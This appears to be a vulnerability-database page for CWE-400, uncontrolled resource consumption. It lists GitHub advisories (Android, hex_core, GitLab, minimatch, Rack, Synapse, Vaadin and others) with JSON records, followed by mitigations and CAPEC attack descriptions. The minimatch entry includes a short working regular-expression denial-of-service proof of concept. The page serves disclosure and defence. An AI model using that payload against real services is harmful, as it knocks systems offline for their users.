Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product does not properly control the allocation and maintenance of a limited resource.

5412 vulnerabilities reference this CWE, most recent first.

GHSA-HX93-VR6P-R3MW

Vulnerability from github – Published: 2022-05-24 17:20 – Updated: 2022-05-24 17:20
VLAI
Details

In Parse_lins of eas_mdls.c, there is possible resource exhaustion due to improper input validation. This could lead to remote denial of service with no additional execution privileges needed. User interaction is needed for exploitation.Product: AndroidVersions: Android-10Android ID: A-127313764

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{
  "affected": [],
  "aliases": [
    "CVE-2020-0173"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-06-11T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In Parse_lins of eas_mdls.c, there is possible resource exhaustion due to improper input validation. This could lead to remote denial of service with no additional execution privileges needed. User interaction is needed for exploitation.Product: AndroidVersions: Android-10Android ID: A-127313764",
  "id": "GHSA-hx93-vr6p-r3mw",
  "modified": "2022-05-24T17:20:13Z",
  "published": "2022-05-24T17:20:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-0173"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/pixel/2020-06-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-HX9W-F2W9-9G96

Vulnerability from github – Published: 2026-03-01 01:25 – Updated: 2026-04-06 23:15
VLAI
Summary
hex_core has Unsafe Deserialization of Erlang Terms
Details

Impact

The Hex client (hex_core) deserializes Erlang terms received from the Hex API using binary_to_term/1 without sufficient restrictions.

If an attacker can control the HTTP response body returned by the Hex API, this allows denial-of-service attacks such as atom table exhaustion, leading to a VM crash. No released versions are known to allow remote code execution.

Patches

  • https://github.com/hexpm/hex_core/commit/cdf726095bca85ad2549d146df1e831ae93c2b13
  • https://github.com/hexpm/hex/commit/636739f3322514e9303ca335fb630696fcbb3c95
  • https://github.com/erlang/rebar3/commit/1d4478f527e373de0b225951e53115450e0d9b9d

Workarounds

Ensure that the Hex API URL (HEX_API_URL) points only to trusted endpoints. There is no client-side workaround that fully mitigates this issue without applying the patch.

Resources

  • hex_core Module: https://github.com/hexpm/hex_core/blob/main/src/hex_api.erl
  • Hex Vendored Module: https://github.com/hexpm/hex/blob/main/src/mix_hex_api.erl
  • Rebar3 Vendored Module: https://github.com/erlang/rebar3/blob/main/apps/rebar/src/vendored/r3_hex_api.erl
  • hex_core Patch: https://github.com/hexpm/hex_core/commit/cdf726095bca85ad2549d146df1e831ae93c2b13
  • Hex Vendored Patch: https://github.com/hexpm/hex/commit/636739f3322514e9303ca335fb630696fcbb3c95
  • Rebar3 Vendored Patch: https://github.com/erlang/rebar3/commit/1d4478f527e373de0b225951e53115450e0d9b9d
Severity
2.0 (Low)
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Hex",
        "name": "hex_core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.12.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-21619"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-01T01:25:35Z",
    "nvd_published_at": "2026-02-27T18:16:11Z",
    "severity": "LOW"
  },
  "details": "### Impact\n\nThe Hex client (`hex_core`) deserializes Erlang terms received from the Hex API using `binary_to_term/1` without sufficient restrictions.\n\nIf an attacker can control the HTTP response body returned by the Hex API, this allows denial-of-service attacks such as **atom table exhaustion**, leading to a VM crash. No released versions are known to allow remote code execution.\n\n### Patches\n\n* https://github.com/hexpm/hex_core/commit/cdf726095bca85ad2549d146df1e831ae93c2b13\n* https://github.com/hexpm/hex/commit/636739f3322514e9303ca335fb630696fcbb3c95\n* https://github.com/erlang/rebar3/commit/1d4478f527e373de0b225951e53115450e0d9b9d\n\n### Workarounds\n\nEnsure that the Hex API URL (`HEX_API_URL`) points only to trusted endpoints. There is no client-side workaround that fully mitigates this issue without applying the patch.\n\n### Resources\n\n* hex_core Module: https://github.com/hexpm/hex_core/blob/main/src/hex_api.erl\n* Hex Vendored Module: https://github.com/hexpm/hex/blob/main/src/mix_hex_api.erl\n* Rebar3 Vendored Module: https://github.com/erlang/rebar3/blob/main/apps/rebar/src/vendored/r3_hex_api.erl\n* hex_core Patch: https://github.com/hexpm/hex_core/commit/cdf726095bca85ad2549d146df1e831ae93c2b13\n* Hex Vendored Patch: https://github.com/hexpm/hex/commit/636739f3322514e9303ca335fb630696fcbb3c95\n* Rebar3 Vendored Patch: https://github.com/erlang/rebar3/commit/1d4478f527e373de0b225951e53115450e0d9b9d",
  "id": "GHSA-hx9w-f2w9-9g96",
  "modified": "2026-04-06T23:15:53Z",
  "published": "2026-03-01T01:25:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/hexpm/hex_core/security/advisories/GHSA-hx9w-f2w9-9g96"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21619"
    },
    {
      "type": "WEB",
      "url": "https://github.com/erlang/rebar3/commit/1d4478f527e373de0b225951e53115450e0d9b9d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hexpm/hex/commit/636739f3322514e9303ca335fb630696fcbb3c95"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hexpm/hex_core/commit/cdf726095bca85ad2549d146df1e831ae93c2b13"
    },
    {
      "type": "WEB",
      "url": "https://cna.erlef.org/cves/CVE-2026-21619.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/hexpm/hex_core"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/EEF-CVE-2026-21619"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "hex_core has Unsafe Deserialization of Erlang Terms"
}

GHSA-HX9W-FRXH-JHFC

Vulnerability from github – Published: 2022-05-24 17:44 – Updated: 2022-05-24 17:44
VLAI
Details

The TFTP server fails to handle multiple connections on NETGEAR JGS516PE/GS116Ev2 v2.6.0.43 devices, and allows external attackers to force device reboots by sending concurrent connections, aka a denial of service attack.

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{
  "affected": [],
  "aliases": [
    "CVE-2020-35233"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-03-10T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The TFTP server fails to handle multiple connections on NETGEAR JGS516PE/GS116Ev2 v2.6.0.43 devices, and allows external attackers to force device reboots by sending concurrent connections, aka a denial of service attack.",
  "id": "GHSA-hx9w-frxh-jhfc",
  "modified": "2022-05-24T17:44:05Z",
  "published": "2022-05-24T17:44:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-35233"
    },
    {
      "type": "WEB",
      "url": "https://research.nccgroup.com/2021/03/08/technical-advisory-multiple-vulnerabilities-in-netgear-prosafe-plus-jgs516pe-gs116ev2-switches"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-HXC7-QJFV-5432

Vulnerability from github – Published: 2022-10-17 19:00 – Updated: 2022-10-19 19:00
VLAI
Details

A potential DoS vulnerability was discovered in Gitlab CE/EE versions starting from 10.7 before 15.1.5, all versions starting from 15.2 before 15.2.3, all versions starting from 15.3 before 15.3.1 allowed an attacker to trigger high CPU usage via a special crafted input added in the Commit message field.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
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{
  "affected": [],
  "aliases": [
    "CVE-2022-2908"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-10-17T16:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A potential DoS vulnerability was discovered in Gitlab CE/EE versions starting from 10.7 before 15.1.5, all versions starting from 15.2 before 15.2.3, all versions starting from 15.3 before 15.3.1 allowed an attacker to trigger high CPU usage via a special crafted input added in the Commit message field.",
  "id": "GHSA-hxc7-qjfv-5432",
  "modified": "2022-10-19T19:00:19Z",
  "published": "2022-10-17T19:00:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-2908"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/1584156"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/cves/-/blob/master/2022/CVE-2022-2908.json"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/363734"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HXFH-7372-Q4FF

Vulnerability from github – Published: 2026-04-06 21:31 – Updated: 2026-04-06 21:31
VLAI
Details

In onHeaderDecoded of LocalImageResolver.java, there is a possible persistent denial of service due to resource exhaustion. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.

Severity
6.2 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2026-0049"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-06T19:16:26Z",
    "severity": "MODERATE"
  },
  "details": "In onHeaderDecoded of LocalImageResolver.java, there is a possible persistent denial of service due to resource exhaustion. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.",
  "id": "GHSA-hxfh-7372-q4ff",
  "modified": "2026-04-06T21:31:34Z",
  "published": "2026-04-06T21:31:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0049"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/docs/security/bulletin/2026/2026-04-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HXM2-R34F-QMC5

Vulnerability from github – Published: 2018-10-09 00:40 – Updated: 2023-09-11 22:02
VLAI
Summary
Regular Expression Denial of Service in minimatch
Details

Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).

Proof of Concept

var minimatch = require(“minimatch”);

// utility function for generating long strings
var genstr = function (len, chr) {
  var result = “”;
  for (i=0; i<=len; i++) {
    result = result + chr;
  }
  return result;
}

var exploit = “[!” + genstr(1000000, “\\”) + “A”;

// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);

Recommendation

Update to version 3.0.2 or later.

Severity
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2016-10540"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:41:28Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Affected versions of `minimatch` are vulnerable to regular expression denial of service attacks when user input is passed into the `pattern` argument of `minimatch(path, pattern)`.\n\n\n## Proof of Concept\n```js\nvar minimatch = require(\u201cminimatch\u201d);\n\n// utility function for generating long strings\nvar genstr = function (len, chr) {\n  var result = \u201c\u201d;\n  for (i=0; i\u003c=len; i++) {\n    result = result + chr;\n  }\n  return result;\n}\n\nvar exploit = \u201c[!\u201d + genstr(1000000, \u201c\\\\\u201d) + \u201cA\u201d;\n\n// minimatch exploit.\nconsole.log(\u201cstarting minimatch\u201d);\nminimatch(\u201cfoo\u201d, exploit);\nconsole.log(\u201cfinishing minimatch\u201d);\n```\n\n\n## Recommendation\n\nUpdate to version 3.0.2 or later.",
  "id": "GHSA-hxm2-r34f-qmc5",
  "modified": "2023-09-11T22:02:05Z",
  "published": "2018-10-09T00:40:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-10540"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-hxm2-r34f-qmc5"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/118"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Regular Expression Denial of Service in minimatch"
}

GHSA-HXMP-PQCH-C8MM

Vulnerability from github – Published: 2020-12-09 18:21 – Updated: 2024-09-24 17:44
VLAI
Summary
Denial of service attack via incorrect parameters in Matrix Synapse
Details

Impact

A malicious or poorly-implemented homeserver can inject malformed events into a room by specifying a different room id in the path of a /send_join, /send_leave, /invite or /exchange_third_party_invite request.

This can lead to a denial of service in which future events will not be correctly sent to other servers over federation.

This affects any server which accepts federation requests from untrusted servers.

Patches

Issue is resolved by https://github.com/matrix-org/synapse/pull/8776.

Workarounds

Homeserver administrators could limit access to the federation API to trusted servers (for example via federation_domain_whitelist).

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "matrix-synapse"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.23.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-26257"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-74",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-12-09T18:21:17Z",
    "nvd_published_at": "2020-12-09T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nA malicious or poorly-implemented homeserver can inject malformed events into a room by specifying a different room id in the path of a `/send_join`, `/send_leave`, `/invite` or `/exchange_third_party_invite` request.\n\nThis can lead to a denial of service in which future events will not be correctly sent to other servers over federation.\n\nThis affects any server which accepts federation requests from untrusted servers.\n\n### Patches\n\nIssue is resolved by https://github.com/matrix-org/synapse/pull/8776.\n\n### Workarounds\n\nHomeserver administrators could limit access to the federation API to trusted servers (for example via `federation_domain_whitelist`).",
  "id": "GHSA-hxmp-pqch-c8mm",
  "modified": "2024-09-24T17:44:50Z",
  "published": "2020-12-09T18:21:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/matrix-org/synapse/security/advisories/GHSA-hxmp-pqch-c8mm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-26257"
    },
    {
      "type": "WEB",
      "url": "https://github.com/matrix-org/synapse/pull/8776"
    },
    {
      "type": "WEB",
      "url": "https://github.com/matrix-org/synapse/commit/3ce2f303f15f6ac3dc352298972dc6e04d9b7a8b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/matrix-org/synapse/blob/develop/CHANGES.md#synapse-1231-2020-12-09"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/matrix-synapse/PYSEC-2020-236.yaml"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DBTIU3ZNBFWZ56V4X7JIAD33V5H2GOMC"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QR4MMYZKX5N5GYGH4H5LBUUC5TLAFHI7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Denial of service attack via incorrect parameters in Matrix Synapse"
}

GHSA-HXP3-QJ63-M9J9

Vulnerability from github – Published: 2026-02-12 00:31 – Updated: 2026-02-13 21:31
VLAI
Details

The issue was addressed with improved handling of caches. This issue is fixed in macOS Sequoia 15.7.4, macOS Tahoe 26.3, macOS Sonoma 14.8.4. An app may be able to cause a denial-of-service.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2026-20602"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-11T23:16:04Z",
    "severity": "MODERATE"
  },
  "details": "The issue was addressed with improved handling of caches. This issue is fixed in macOS Sequoia 15.7.4, macOS Tahoe 26.3, macOS Sonoma 14.8.4. An app may be able to cause a denial-of-service.",
  "id": "GHSA-hxp3-qj63-m9j9",
  "modified": "2026-02-13T21:31:34Z",
  "published": "2026-02-12T00:31:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20602"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/126348"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/126349"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/126350"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HXQX-XWVH-44M2

Vulnerability from github – Published: 2022-05-27 16:36 – Updated: 2023-08-28 13:59
VLAI
Summary
Denial of Service Vulnerability in Rack Multipart Parsing
Details

There is a possible denial of service vulnerability in the multipart parsing component of Rack. This vulnerability has been assigned the CVE identifier CVE-2022-30122.

Versions Affected: >= 1.2 Not affected: < 1.2 Fixed Versions: 2.0.9.1, 2.1.4.1, 2.2.3.1

Impact

Carefully crafted multipart POST requests can cause Rack's multipart parser to take much longer than expected, leading to a possible denial of service vulnerability.

Impacted code will use Rack's multipart parser to parse multipart posts. This includes directly using the multipart parser like this:

params = Rack::Multipart.parse_multipart(env)

But it also includes reading POST data from a Rack request object like this:

p request.POST # read POST data
p request.params # reads both query params and POST data

All users running an affected release should either upgrade or use one of the workarounds immediately.

Workarounds

There are no feasible workarounds for this issue.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.0.9.0"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "rack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.2"
            },
            {
              "fixed": "2.0.9.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.1.4.0"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "rack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.1"
            },
            {
              "fixed": "2.1.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.2.3.0"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "rack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2"
            },
            {
              "fixed": "2.2.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-30122"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-05-27T16:36:52Z",
    "nvd_published_at": "2022-12-05T22:15:00Z",
    "severity": "HIGH"
  },
  "details": "There is a possible denial of service vulnerability in the multipart parsing component of Rack.  This vulnerability has been assigned the CVE identifier CVE-2022-30122.\n\nVersions Affected:  \u003e= 1.2\nNot affected:       \u003c 1.2\nFixed Versions:     2.0.9.1, 2.1.4.1, 2.2.3.1\n\n## Impact\nCarefully crafted multipart POST requests can cause Rack\u0027s multipart parser to take much longer than expected, leading to a possible denial of service vulnerability.\n\nImpacted code will use Rack\u0027s multipart parser to parse multipart posts.  This includes directly using the multipart parser like this:\n\n```\nparams = Rack::Multipart.parse_multipart(env)\n```\n\nBut it also includes reading POST data from a Rack request object like this:\n\n```\np request.POST # read POST data\np request.params # reads both query params and POST data\n```\n\nAll users running an affected release should either upgrade or use one of the workarounds immediately.\n\n## Workarounds\nThere are no feasible workarounds for this issue.\n",
  "id": "GHSA-hxqx-xwvh-44m2",
  "modified": "2023-08-28T13:59:06Z",
  "published": "2022-05-27T16:36:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-30122"
    },
    {
      "type": "WEB",
      "url": "https://discuss.rubyonrails.org/t/cve-2022-30122-denial-of-service-vulnerability-in-rack-multipart-parsing/80729"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rack/rack"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rack/CVE-2022-30122.yml"
    },
    {
      "type": "WEB",
      "url": "https://groups.google.com/g/ruby-security-ann/c/L2Axto442qk"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202310-18"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20231208-0012"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2023/dsa-5530"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Denial of Service Vulnerability in Rack Multipart Parsing"
}

GHSA-J23J-Q57M-63V3

Vulnerability from github – Published: 2021-10-13 18:54 – Updated: 2021-10-13 17:39
VLAI
Summary
Denial of service in DataCommunicator class in Vaadin 8
Details

Missing check in DataCommunicator class in com.vaadin:vaadin-server versions 8.0.0 through 8.14.0 (Vaadin 8.0.0 through 8.14.0) allows authenticated network attacker to cause heap exhaustion by requesting too many rows of data.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.vaadin:vaadin-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.14.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-10-13T17:39:25Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "Missing check in `DataCommunicator` class in `com.vaadin:vaadin-server` versions 8.0.0 through 8.14.0 (Vaadin 8.0.0 through 8.14.0) allows authenticated network attacker to cause heap exhaustion by requesting too many rows of data.",
  "id": "GHSA-j23j-q57m-63v3",
  "modified": "2021-10-13T17:39:25Z",
  "published": "2021-10-13T18:54:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vaadin/framework/security/advisories/GHSA-j23j-q57m-63v3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vaadin/framework/pull/12415"
    },
    {
      "type": "WEB",
      "url": "https://vaadin.com/security/cve-2021-33609"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Denial of service in DataCommunicator class in Vaadin 8"
}
Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.

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